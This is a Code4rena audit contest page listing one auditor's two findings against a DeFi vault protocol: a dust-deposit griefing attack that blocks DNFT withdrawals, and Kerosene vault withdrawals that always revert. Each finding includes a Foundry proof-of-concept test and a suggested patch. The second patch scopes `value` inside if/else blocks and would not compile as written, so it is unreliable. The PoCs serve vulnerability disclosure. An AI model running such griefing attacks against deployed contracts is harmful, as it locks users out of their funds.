Platform: Code4rena
Start Date: 18/04/2024
Pot Size: $36,500 USDC
Total HM: 19
Participants: 183
Period: 7 days
Judge: Koolex
Id: 367
League: ETH
Rank: 143/183
Findings: 2
Award: $3.84
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: MrPotatoMagic
Also found by: 0x175, 0x486776, 0x77, 0xAkira, 0xAsen, 0xDemon, 0xabhay, 0xblack_bird, 0xlemon, 0xloscar01, 0xtankr, 3docSec, 4rdiii, Abdessamed, AlexCzm, Angry_Mustache_Man, BiasedMerc, Circolors, Cryptor, DMoore, DPS, DedOhWale, Dinesh11G, Dots, GalloDaSballo, Giorgio, Honour, Imp, Jorgect, Krace, KupiaSec, Mrxstrange, NentoR, Pechenite, PoeAudits, Ryonen, SBSecurity, Sabit, T1MOH, TheFabled, TheSavageTeddy, Tychai0s, VAD37, Vasquez, WildSniper, ZanyBonzy, adam-idarrha, alix40, asui, blutorque, btk, c0pp3rscr3w3r, caglankaan, carrotsmuggler, d_tony7470, dimulski, dinkras, djxploit, falconhoof, forgebyola, grearlake, imare, itsabinashb, josephdara, kartik_giri_47538, ke1caM, kennedy1030, koo, lionking927, ljj, niser93, pep7siup, poslednaya, ptsanev, sashik_eth, shaflow2, steadyman, turvy_fuzz, ubl4nk, valentin_s2304, web3km, xyz, y4y, zhaojohnson, zigtur
0.0234 USDC - $0.02
As anyone can deposit funds into a DNFT, a malicious user can deposit a small amount and set the idToBlockOfLastDeposit
to the most recent block, disabling withdrawals from a certain DNFT ID. This can be done continuously (in every block, which is quite gas costly but still doable in a specific amount of time) or can be done via frontrunning and only when the owner of the DNFT intends to withdraw. Causing Liquidity Providers difficulties in withdrawing their deposits.
Add the following test to test/frol/v2.t.sol
. Exploit Steps:
function testGriefingAttackBlocksWithdraws() public { //0. set vars: uint256 AMOUNT_TO_DEPOSIT = 10 ether; uint256 GRIEFING_AMOUNT_TO_DEPOSIT = 0.0000001 ether; address VAULTMANAGER_LICENSER = 0xd8bA5e720Ddc7ccD24528b9BA3784708528d0B85; //1. deal prank address some eth and mint weth: vm.deal(lp, AMOUNT_TO_DEPOSIT + 1 ether); // +1 for mint dnft costs vm.startPrank(lp); WETH(payable(MAINNET_WETH)).deposit{value: AMOUNT_TO_DEPOSIT}(); uint256 balanceLP = WETH(payable(MAINNET_WETH)).balanceOf(lp); assertEq(balanceLP, AMOUNT_TO_DEPOSIT); //1.a. do the same for greifer account vm.deal(grief, AMOUNT_TO_DEPOSIT); vm.startPrank(grief); WETH(payable(MAINNET_WETH)).deposit{value: AMOUNT_TO_DEPOSIT}(); uint256 balanceGrief = WETH(payable(MAINNET_WETH)).balanceOf(grief); assertEq(balanceGrief, AMOUNT_TO_DEPOSIT); vm.stopPrank(); //2. Mint a Dnft for the user and add vault to it: vm.startPrank(lp); uint256 id = DNft(MAINNET_DNFT).mintNft{value: 1 ether}(lp); assertEq(DNft(MAINNET_DNFT).balanceOf(lp), 1); contracts.vaultManager.add(id, address(contracts.ethVault)); vm.stopPrank(); //3. add VaultV2 to vaultmanager licenser: vm.prank(Licenser(VAULTMANAGER_LICENSER).owner()); Licenser(VAULTMANAGER_LICENSER).add(address(contracts.vaultManager)); //4. deposit Weth to vault: vm.startPrank(lp); WETH(payable(MAINNET_WETH)).approve( address(contracts.vaultManager), 10 ether ); contracts.vaultManager.deposit( id, address(contracts.ethVault), 10 ether ); vm.stopPrank(); //5. let some time pass and try a withdraw vm.roll(1); vm.warp(1); //5.a. A malicous user deposits to stop the withdraw with a small deposit, this can be done continuously here we just did it one time vm.startPrank(grief); WETH(payable(MAINNET_WETH)).approve( address(contracts.vaultManager), GRIEFING_AMOUNT_TO_DEPOSIT ); contracts.vaultManager.deposit( id, address(contracts.ethVault), GRIEFING_AMOUNT_TO_DEPOSIT ); vm.stopPrank(); //5.b lp tries to withdraw but is denied vm.prank(lp); vm.expectRevert(DepositedInSameBlock.selector); // error DepositedInSameBlock(); contracts.vaultManager.withdraw( id, address(contracts.ethVault), 10 ether, lp ); }
To fix this issue, you can either completely stop other users from depositing into a DNFT, or if that's not possible or changes the protocol design, set a minimum deposit (e.g., 0.1 wETH). Here is a simple example in which I added a min deposit (note that it only works for weth and not other tokens, you should probably set min amount based on vault asset type)
. . . + error DepositIsLowerThanMin(); . . . function deposit( uint256 id, address vault, uint256 amount ) external isValidDNft(id) { + if (amount <= 0.1 ether) { + revert DepositIsLowerThanMin(); + } idToBlockOfLastDeposit[id] = block.number; Vault _vault = Vault(vault); _vault.asset().safeTransferFrom(msg.sender, address(vault), amount); _vault.deposit(id, amount); }
DoS
#0 - c4-pre-sort
2024-04-27T11:56:09Z
JustDravee marked the issue as duplicate of #489
#1 - c4-pre-sort
2024-04-29T09:25:47Z
JustDravee marked the issue as sufficient quality report
#2 - c4-judge
2024-05-05T20:42:01Z
koolexcrypto marked the issue as unsatisfactory: Invalid
#3 - c4-judge
2024-05-05T20:45:36Z
koolexcrypto marked the issue as unsatisfactory: Invalid
#4 - c4-judge
2024-05-08T15:26:38Z
koolexcrypto marked the issue as duplicate of #1001
#5 - c4-judge
2024-05-11T19:49:01Z
koolexcrypto marked the issue as satisfactory
#6 - c4-judge
2024-05-13T18:34:30Z
koolexcrypto changed the severity to 3 (High Risk)
🌟 Selected for report: Circolors
Also found by: 0x175, 0x486776, 0xAlix2, 0xSecuri, 0xShitgem, 0xfox, 0xlemon, 0xnilay, 3th, 4rdiii, Aamir, Al-Qa-qa, AlexCzm, Egis_Security, Evo, Honour, Infect3d, Josh4324, Limbooo, Mahmud, SBSecurity, TheSchnilch, ahmedaghadi, alix40, amaron, bbl4de, bhilare_, btk, carrotsmuggler, cinderblock, d3e4, dimulski, dinkras, ducanh2706, iamandreiski, itsabinashb, ke1caM, ljj, sashik_eth, shaflow2, steadyman, web3km, y4y
3.8221 USDC - $3.82
Users can use VualtManagerV2::deposit
to deposit their Kerosene to their DNfts
. However, if they attempt to withdraw it, the process will always revert.This is because the VualtManagerV2::withdraw
function uses _vault.oracle().decimals()
to get the oracle decimals, but the Kerosine Vaults does not have the oracle
state variable.
</details>function withdraw( uint256 id, address vault, uint256 amount, address to ) public isDNftOwner(id) { if (idToBlockOfLastDeposit[id] == block.number) { revert DepositedInSameBlock(); } uint256 dyadMinted = dyad.mintedDyad(address(this), id); Vault _vault = Vault(vault); uint256 value = (amount * _vault.assetPrice() * 1e18) / @> 10 ** _vault.oracle().decimals() / @> //q this will always revert if withdawing kerosene collateral! kerosene vaults doesn't have oracle 10 ** _vault.asset().decimals(); if (getNonKeroseneValue(id) - value < dyadMinted) { revert NotEnoughExoCollat(); } _vault.withdraw(id, to, amount); if (collatRatio(id) < MIN_COLLATERIZATION_RATIO) revert CrTooLow(); }
Add the following test to exisiting v2.t.sol test suit. Steps:
</details>function testKoreseneWithdrawsWillAlwaysFail() public { //1. deal prank address some eth and mint weth: vm.deal(lp, 11 ether); vm.startPrank(lp); WETH(payable(MAINNET_WETH)).deposit{value: 10 ether}(); uint256 balance = WETH(payable(MAINNET_WETH)).balanceOf(lp); assertEq(balance, 10 ether); //2. Mint a Dnft for the user and add vault to it: uint256 id = DNft(MAINNET_DNFT).mintNft{value: 1 ether}(lp); assertEq(DNft(MAINNET_DNFT).balanceOf(lp), 1); contracts.vaultManager.add(id, address(contracts.ethVault)); vm.stopPrank(); //3. add VaultV2 to vaultmanager licenser: address VAULTMANAGER_LICENSER = 0xd8bA5e720Ddc7ccD24528b9BA3784708528d0B85; vm.prank(Licenser(VAULTMANAGER_LICENSER).owner()); Licenser(VAULTMANAGER_LICENSER).add(address(contracts.vaultManager)); //4. try to Mint Dyads: vm.startPrank(lp); WETH(payable(MAINNET_WETH)).approve( address(contracts.vaultManager), 10 ether ); contracts.vaultManager.deposit( id, address(contracts.ethVault), 10 ether ); uint256 maxMintAmount = (contracts.vaultManager.getNonKeroseneValue( id ) * 2) / 3 ether; contracts.vaultManager.mintDyad(id, maxMintAmount, lp); vm.stopPrank(); uint256 DyadBalance = ERC20(MAINNET_DYAD).balanceOf(lp); assertEq(DyadBalance, maxMintAmount); //5. try to mint more? should fail! vm.expectRevert(); contracts.vaultManager.mintDyad(id, 100 ether, lp); //6. get some kerosene from mainWallet vm.prank(MAINNET_OWNER); //mainnetOwner ERC20(MAINNET_KEROSENE).transfer(lp, 10000 ether); //7. deposit kerosene into vaults vm.startPrank(lp); ERC20(MAINNET_KEROSENE).approve( address(contracts.vaultManager), 10000 ether ); contracts.vaultManager.deposit( id, address(contracts.unboundedKerosineVault), 5000 ether ); contracts.vaultManager.deposit( id, address(contracts.boundedKerosineVault), 5000 ether ); //8. try to mint after kerosene deposit=> succeeds contracts.vaultManager.mintDyad(id, 100 ether, lp); //9. burn all minted dyad and withdraw nonkerosene collaterals vm.roll(1); vm.warp(1); // let some time and block to pass contracts.vaultManager.burnDyad(id, maxMintAmount + 100 ether); contracts.vaultManager.withdraw( id, address(contracts.ethVault), 10 ether, lp ); //10. withdraw some of kerosene => will revert always! vm.expectRevert(); contracts.vaultManager.withdraw( id, address(contracts.unboundedKerosineVault), 10 ether, lp ); vm.expectRevert(); contracts.vaultManager.withdraw( id, address(contracts.boundedKerosineVault), 10 ether, lp ); }
Manual Review, Foundry Test Suit
To fix this issue, it's recommended to add a check to the withdraw
and redeem
functions (which have the same problem). In the case of withdrawing from the Kerosene vaults (or in case that vault.asset == Kerosene
), do not use the oracle state variable of the vault contract. Instead, use fixed decimals for Kerosene price.
</details>function withdraw( uint256 id, address vault, uint256 amount, address to ) public isDNftOwner(id) { if (idToBlockOfLastDeposit[id] == block.number) { revert DepositedInSameBlock(); } uint256 dyadMinted = dyad.mintedDyad(address(this), id); Vault _vault = Vault(vault); - uint256 value = (amount * _vault.assetPrice() * 1e18) / - 10 ** _vault.oracle().decimals() / - 10 ** _vault.asset().decimals(); + address MAINNET_KEROSENE = 0xf3768D6e78E65FC64b8F12ffc824452130BD5394; + uint256 FIXED_KEROSENE_PRICE_DECIMALS = 8; + if (address(_vault.asset()) == MAINNET_KEROSENE) { + uint256 value = (amount * _vault.assetPrice() * 1e18) / + 10 ** FIXED_KEROSENE_PRICE_DECIMALS / + 10 ** _vault.asset().decimals(); + } else { + uint256 value = (amount * _vault.assetPrice() * 1e18) / + 10 ** _vault.oracle().decimals() / + 10 ** _vault.asset().decimals(); + } if (getNonKeroseneValue(id) - value < dyadMinted) { revert NotEnoughExoCollat(); } _vault.withdraw(id, to, amount); if (collatRatio(id) < MIN_COLLATERIZATION_RATIO) revert CrTooLow(); }
Token-Transfer
#0 - c4-pre-sort
2024-04-26T21:06:53Z
JustDravee marked the issue as duplicate of #1048
#1 - c4-pre-sort
2024-04-28T18:38:10Z
JustDravee marked the issue as duplicate of #830
#2 - c4-pre-sort
2024-04-29T08:45:08Z
JustDravee marked the issue as sufficient quality report
#3 - c4-judge
2024-05-11T20:05:49Z
koolexcrypto marked the issue as satisfactory